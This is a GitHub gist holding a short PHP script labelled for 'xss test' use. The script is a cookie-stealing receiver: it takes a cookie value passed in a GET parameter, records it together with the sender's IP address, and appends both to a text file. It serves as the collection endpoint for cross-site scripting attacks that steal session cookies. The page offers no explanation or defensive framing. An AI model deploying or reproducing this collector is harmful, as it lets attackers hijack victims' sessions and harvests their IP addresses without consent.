Skip to content

Instantly share code, notes, and snippets.

@mthbernardes
Last active December 6, 2017 14:38
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save mthbernardes/e15b99fd6c051df5f1a2216c89e848df to your computer and use it in GitHub Desktop.
Save mthbernardes/e15b99fd6c051df5f1a2216c89e848df to your computer and use it in GitHub Desktop.
PHP Script to use on xss test.
<?php
function getUserIP()
{
$client = @$_SERVER['HTTP_CLIENT_IP'];
$forward = @$_SERVER['HTTP_X_FORWARDED_FOR'];
$remote = $_SERVER['REMOTE_ADDR'];
if(filter_var($client, FILTER_VALIDATE_IP))
{
$ip = $client;
}
elseif(filter_var($forward, FILTER_VALIDATE_IP))
{
$ip = $forward;
}
else
{
$ip = $remote;
}
return $ip;
}
$user_ip = getUserIP();
$cookie = $_GET['cookie'];
$fp = fopen('accesso.txt', 'a');
fwrite($fp, $user_ip ." : ".$cookie."\n");
fclose($fp);
?>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment